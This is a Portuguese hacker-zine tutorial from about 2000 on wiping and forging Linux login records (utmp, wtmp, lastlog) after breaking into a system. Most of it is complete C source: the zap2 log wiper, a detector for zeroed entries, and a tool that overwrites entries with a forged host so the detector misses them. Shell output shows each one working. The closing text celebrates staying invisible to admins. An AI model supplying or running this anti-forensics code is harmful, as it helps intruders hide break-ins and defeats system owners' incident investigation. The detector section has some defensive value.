Fucando com Logs

Porra.... tem muita gente que nao da atencao a issu e acaba c fudendo
porque os admins que pareciam burros, sao inteligentes o suficiente para
verificar os logs do seu sistema depois que foi hackeado.
Aqui a Cyber Nine trouxe umas técnicas tanto para hackers como para admins
sobre como usar, apagar e sobrescrever logs.
Antes de mais nada faca um backup dos seguintes arquivos:
/var/run/utmp
/var/log/wtmp
/var/log/lastlog

1. Entendendo...
O linux usa basicamente 3 tipos de logs. Lastlog, UTMP, WTMP.
O Lastlog grava o tty, host e time do user assim que ele da exit.
O UTMP e WTMP gravam o login type, login pid, tty device, tty, user,
host, exit status, session ID, time e ip no login e na logout.
Existe tbm o syslogd que faz o log de mensagens do kernel incluindo
conexoes remotas. Voce pode verificar os arquivos em /etc/syslog.conf mas
isto nao inclui no objetivo deste texto.


2. Lendo...
Os dois metodos mais conhecidos de ver os dados gravados no log sao
atravez dos comandos who (ou w) e lastlog.
O who pega os dados no UTMP enquanto o lastlog... adivinhe. =)

3. Apagando...
Na certa voce conhece um programinha chamado zap??? Ele serve para
apagar estes 3 logs (UTMP, WTMP e LastLog).
C voce ainda nao tem ele vou bota aki o src do zap2 (eu sei q ta
desatualizado mas eh soh para aprendizado).

<++> logs/z2.c
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/var/log/wtmp"
#define UTMP_NAME "/var/run/utmp"
#define LASTLOG_NAME "/var/log/lastlog"

int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
}else
printf("Error.\n");
}

<-->

Okay. Agora vamos usa-lo pra ver como funfa.

# who
root tty1 Mar 12 09:01
struck tty2 Mar 12 09:04
# lastlog -u struck
Username Port From Latest
struck tty3 Sun Mar 12 09:07:25 2000
# ./z
Error.
# ./z struck
# who
root tty1 Mar 12 09:01
# lastlog -u struck
Username Port From Latest
struck **Never logged in**
#

Viu?? Ele simplesmente apagou todos os dados relacionados ao username.


4. Descobrindo...
Achei este programa na rwx05. Ele olha os arquivos onde o log eh salvo
a procura de dados que foram apagados.
Ae vai o programa...

<++> logs/logs.c

#include <stdio.h>
#include <utmp.h>
#include <lastlog.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <shadow.h>
#include <pwd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define UTMP "/etc/utmp"
#define UTMP2 "/var/run/utmp"
#define WTMP "/etc/wtmp"
#define WTMP2 "/var/log/wtmp"
#define LASTLOG "/var/log/lastlog"
#define SIM 1
#define NAO 0
#define MAX 14
#define NL putchar('\n')
#define BEEP putchar(7)

typedef char boolean;

struct user{
struct utmp u;
struct user *p;
}*s;

struct utmp cmp;
struct lastlog cmp2;

void insere(struct utmp *);
void print(struct user *);
void ajuda(const char *);
void print_wtmp(struct user *);
boolean procura(struct user *, const char *);
boolean bash_history(const char *);
void never_login(const char *, const char *);

int main(int argc, char *argv[]){

struct utmp actual;
struct lastlog actual2;
struct spwd *utilizador;
struct passwd *username;

boolean intrusao=NAO,
resto=SIM,
beep1=NAO;
int intrusoes=0,
i;

int fd;

time_t hora;

for(i=0; i<argc; i++)
if(argv[i][0]=='-')
switch(argv[i][1]){
case 'h':{
ajuda(argv[0]);
exit(0);
}
case 'b':{
beep1=SIM;
break;
}
case 'u':{
resto=NAO;
break;
}
default:{
puts("Opcao desconhecida");
exit(1);
}
}


s=NULL;
memset(&cmp, 0, sizeof(struct utmp));
memset(&cmp2, 0, sizeof(struct lastlog));

if((fd=open(UTMP, O_RDONLY))<0){
if((fd=open(UTMP2, O_RDWR))<0){
perror("utmp");
exit(1);
}
}

time(&hora);
printf("%s\n", ctime(&hora));

printf("Analizando entradas do 'utmp'...\n");
while(read(fd, &actual, sizeof(actual))>0){
if(!memcmp(&actual, &cmp, sizeof(struct utmp)))
intrusao=SIM;
insere(&actual);
}


if(intrusao){
NL;
if(beep1)
BEEP;
printf("**********\n");
printf("* AVISO: * As entradas do 'utmp', foram manipuladas!!!!!\n");
printf("**********\n");
printf("Users correctamente logged on:\n");
printf("User\t\tLogged on em\tdev\n");
print(s);
printf("Faca 'ps -aux' para procurar processos de users ilegais!\n");
}
else
puts("OK!");

if(!resto)
exit(0);

printf("----------------------------------\n");

if((fd=open(WTMP, O_RDONLY))<0)
if((fd=open(WTMP2, O_RDONLY))<0){
perror("wtmp");
exit(1);
}

NL;

printf("Analizando entradas do 'wtmp'...\n");

s=NULL;
while(read(fd, &actual, sizeof(struct utmp))>0){
if(!memcmp(&actual, &cmp, sizeof(struct utmp)))
intrusoes++;
insere(&actual);
}


if(intrusoes!=NAO){
printf("Foram 'apagadas' um total de %d entradas!\n\n", intrusoes);
print_wtmp(s);
}
else
puts("OK!");

printf("----------------------------------\n");

if(getuid()!=0)
if(fopen("/etc/shadow", "r")==NULL){
printf("Precisa ser root para continuar!!\n");
exit(1);
}

if((fd=open(LASTLOG, O_RDWR))>=0){
printf("Analizando entradas do 'lastlog'...\n");
intrusoes=0;

puts("Utilizadores com entradas 'apagadas':");
while((utilizador=getspent())!=NULL){
if(utilizador->sp_pwdp[0]!='*'){
username=getpwnam(utilizador->sp_namp);
lseek(fd, username->pw_uid * sizeof(struct lastlog), SEEK_SET);
if(read(fd, &actual2, sizeof(struct lastlog))==-1){
perror(LASTLOG);
break;
}
if(!memcmp(&cmp2, &actual2, sizeof(struct lastlog))){
if(procura(s, utilizador->sp_namp)){
intrusoes++;
printf("-> %s\n", utilizador->sp_namp);
}
else
if(bash_history(username->pw_dir)){
intrusoes++;
printf("-> %s\n", utilizador->sp_namp);
}
else
never_login(utilizador->sp_namp, username->pw_dir);
}
}
}
}
else
{
printf("Nao foi possivel localizar o ficheiro 'lastlog'\n");
exit(1);
}

if(intrusoes!=NAO)
printf("\nForam apagadas pelo menos %d entradas\n", intrusoes);
else
puts("\nOK!");

}

void insere(struct utmp *k){
struct user *novo;

if((novo=(struct user *) malloc(sizeof(struct user)))==NULL){
puts("Erro a alocar memoria!");
exit(1);
}

memcpy(&novo->u, k, sizeof(struct utmp));
novo->p=s;
s=novo;
}


void print(struct user *x){

if(x==NULL)
return;

if(!memcmp(&x->u, &cmp, sizeof(struct utmp)))
printf("??????\t\t??????\t\t??????\n");
else
if(x->u.ut_type >=7 && x->u.ut_type <=8)
printf("%s\t\t%s\t\t%s\n", x->u.ut_user, x->u.ut_host, x->u.ut_line);

print(x->p);

}

void print_wtmp(struct user *x){

if(x==NULL)
return;

if(!memcmp(&x->u, &cmp, sizeof(struct utmp))){
printf("entrada 'apagada' depois de:\n");
if(memcmp(&x->p->u, &cmp, sizeof(struct utmp))!=0){
printf("%s", ctime(&x->p->u.ut_time));
if(x->p->u.ut_type >=7 && x->p->u.ut_type <=8)
printf("(%s)\n", x->p->u.ut_name);
}
else
printf("????????????????????????\n");

NL;
}

print_wtmp(x->p);
}

void ajuda(const char *s){
printf("======RwX Labs 1998=====\n");
printf("Uso: %s [-opcoes]\n", s);
printf(" -h imprime este help e sai\n");
printf(" -b beep ao encontrar anomalias\n");
printf(" -u apenas testa utmp\n");

}

boolean procura(struct user *x, const char *s){

if(x==NULL)
return(NAO);

if(!strcmp(s, x->u.ut_name))
return(SIM);

procura(x->p, s);
}


boolean bash_history(const char *s){
static char *dir;

if((dir=(char *) malloc(strlen(s)+14))==NULL){
puts("Erro a alocar memoria!!");
exit(1);
}

sprintf(dir, "%s/.bash_history", s);

if(fopen(dir, "r")==NULL)
return(NAO);

return(SIM);

}

void never_login(const char *s, const char *dir){

printf("?? %s\n", s);
printf("nao possui nenhuma entrada em 'wtmp'\n");
printf("o arquivo '%s/.bash_history' nao existe\n", dir);
printf("provavelmente nunca usou o sistema!!\n");

}

<-->

Agora vamos usar e ver como funciona...

# ./logs
Sun Mar 12 10:01:20 2000

Analizando entradas do 'utmp'...

**********
* AVISO: * As entradas do 'utmp', foram manipuladas!!!!!
**********
Users correctamente logged on:
User Logged on em dev
?????? ?????? ??????
root tty1
Faca 'ps -aux' para procurar processos de users ilegais!
----------------------------------

Analizando entradas do 'wtmp'...
Foram 'apagadas' um total de 1 entradas!

entrada 'apagada' depois de:
Sun Mar 12 10:00:15 2000
(root)

----------------------------------
Analizando entradas do 'lastlog'...
Utilizadores com entradas 'apagadas':

OK!
#

Prontinhu... Assim voce percebe que alguem andou mechendo em seus logs.
Voce eh um bom admin.
Vamos testar outra coisa agora...
Recupere os seus arquivos UTMP, WTMP e LastLog originais (voce fez
backup neh???) para passarmos para o proximo topic.
Se voce nao fez backup faca o seguinte: Tire todos os outros usuarios
conectados no momento e deixe apenas o root. Agora apague os files
listados la em cima e depois crie-os com touch. Logue novamente com o
usuario q voce estava usando (no nosso caso struck).

5. Sobrescrevendo...
Agora virar o jogo pro nosso lado novamente...
Baseado no zap eu fiz este programinha que ao invez de somente apagar
os dados ele cria novos e escreve em cima dos antigos.

<++> logs/cls.c

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>

#define WTMP_NAME "/var/log/wtmp"
#define UTMP_NAME "/var/run/utmp"
#define LASTLOG_NAME "/var/log/lastlog"

int f;

void kill_utmp(char *who, char *myhost)
{
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
utmp_ent.ut_type=USER_PROCESS;
utmp_ent.ut_pid=getpid();
strcpy(utmp_ent.ut_line,ttyname(0)+strlen("/dev/"));
strcpy(utmp_ent.ut_id,ttyname(0)+strlen("/dev/tty"));
time(&utmp_ent.ut_time);
strcpy(utmp_ent.ut_user,who);
strcpy(utmp_ent.ut_host,myhost);
utmp_ent.ut_addr=0;
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(char *who, char *myhost)
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_user,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
utmp_ent.ut_type=USER_PROCESS;
utmp_ent.ut_pid=getpid();
strcpy(utmp_ent.ut_line,ttyname(0)+strlen("/dev/"));
strcpy(utmp_ent.ut_id,ttyname(0)+strlen("/dev/tty"));
time(&utmp_ent.ut_time);
strcpy(utmp_ent.ut_user,who);
strcpy(utmp_ent.ut_host,myhost);
utmp_ent.ut_addr=0;
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}

void kill_lastlog(char *who, char *myhost)
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
time(&newll.ll_time);
strcpy(newll.ll_line,ttyname(0)+strlen("/dev/"));
strcpy(newll.ll_host,myhost);
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else {
printf("%s ?\n",who);
exit(1);
}
}

main(int argc,char *argv[])
{
if (argc==3) {
kill_lastlog(argv[1],argv[2]);
kill_wtmp(argv[1], argv[2]);
kill_utmp(argv[1],argv[2]);
}else
printf("Use:\n %s <name> <fake_host>\n",argv[0]);
}

<-->

Atencao!!! Teste com os logs recuperados pois ele nao vai encontrar os
que ja foram apagados.
Depois de recuperar os logs... Vamu testa-lo:

# ./a.out struck 222.222.222.222
# who
root tty1 Mar 12 09:01
struck ttyp0 Mar 12 10:23 (222.222.222.222)
# lastlog -u struck
Username Port From Latest
struck ttyp0 222.222.222.222 Sun Mar 12 10:23:02 2000
#

Viu que maneiro???
Com este programa voce pode inventar um host, que sera gravado em cima
do original e assim nao vai sumir do who e lastlog.
Vamos ver se o logs.c detecta as entradas manipuladas...

# ./logs
Sun Mar 12 10:23:15 2000

Analizando entradas do 'utmp'...
OK!
----------------------------------

Analizando entradas do 'wtmp'...
OK!
----------------------------------
Analizando entradas do 'lastlog'...
Utilizadores com entradas 'apagadas':

OK!
#

Invisivel heim??
Que ira perceber que voce trocou o seus dados??
Uma coisa maneira de c fazer eh colocar um host como "nasa.org" para
que o admin fear u.
E eh issu ae. Achu que ensinamos até de mais.

 

Hosted by www.Geocities.ws

Copyright © Cyber Nine/Crack's S.A todos direitos reservados
Hosted by www.Geocities.ws

Hosted by www.Geocities.ws

Hosted by www.Geocities.ws

1